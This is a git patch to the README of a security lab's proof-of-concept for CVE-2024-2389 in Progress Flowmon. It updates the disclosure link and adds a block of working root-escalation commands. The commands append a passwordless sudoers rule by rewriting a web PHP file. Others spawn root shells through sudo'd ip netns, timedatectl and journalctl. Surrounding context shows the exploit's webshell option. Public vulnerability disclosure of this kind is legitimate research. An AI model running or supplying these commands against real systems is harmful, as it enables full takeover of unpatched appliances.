From c8b5df5428517c20acfaf1deed35b9c966adba6c Mon Sep 17 00:00:00 2001
From: Dave Yesland <41924355+DaveYesland@users.noreply.github.com>
Date: Tue, 23 Apr 2024 07:08:08 -0700
Subject: [PATCH] Update README.md

---
 CVE-2024-2389/README.md | 25 ++++++++++++++++++++++++-
 1 file changed, 24 insertions(+), 1 deletion(-)

diff --git a/CVE-2024-2389/README.md b/CVE-2024-2389/README.md
index 6346c1b..70b55de 100644
--- a/CVE-2024-2389/README.md
+++ b/CVE-2024-2389/README.md
@@ -5,7 +5,7 @@
 **Versions Affected:** Tested on v12.03.02  
 **Version Fixed:** 12.3.5/11.1.14  
 **Researcher:** Dave Yesland (https://x.com/daveysec)  
-**Disclosure Link:** https://rhinosecuritylabs.com/  
+**Disclosure Link:** https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/  
 **NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2024-2389  
 **Vendor Advisory:** https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability  
 
@@ -21,5 +21,28 @@ To write a simple webshell:
 `python3 CVE-2024-2389 --web-shell TARGET`  
 Then visit TARGET/rce.php  
 
+A root shell can be obtained through several methods:
+```
+cp /var/www/shtml/index.php /tmp/index.php.bak;
+echo '<?php system("echo \"ADMINS ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers"); ?>' > /var/www/shtml/index.php;
+sudo /usr/bin/php /var/www/shtml/index.php Cli\:AddNewSource s;
+cp /tmp/index.php.bak /var/www/shtml/index.php;
+
+# ip command:
+sudo ip netns add foo
+sudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar
+sudo ip netns exec bar /bin/bash
+sudo ip netns delete foo
+sudo ip netns delete bar
+
+# Abusing the timedatectl command:
+sudo timedatectl list-timezones
+!/bin/bash
+
+#Abusing journalctl
+sudo journalctl
+!/bin/bash
+```
+
 ### Screenshot
 ![poc_image](https://github.com/RhinoSecurityLabs/CVEs/assets/41924355/56e95c42-3541-4768-862d-7d272db6ee8f)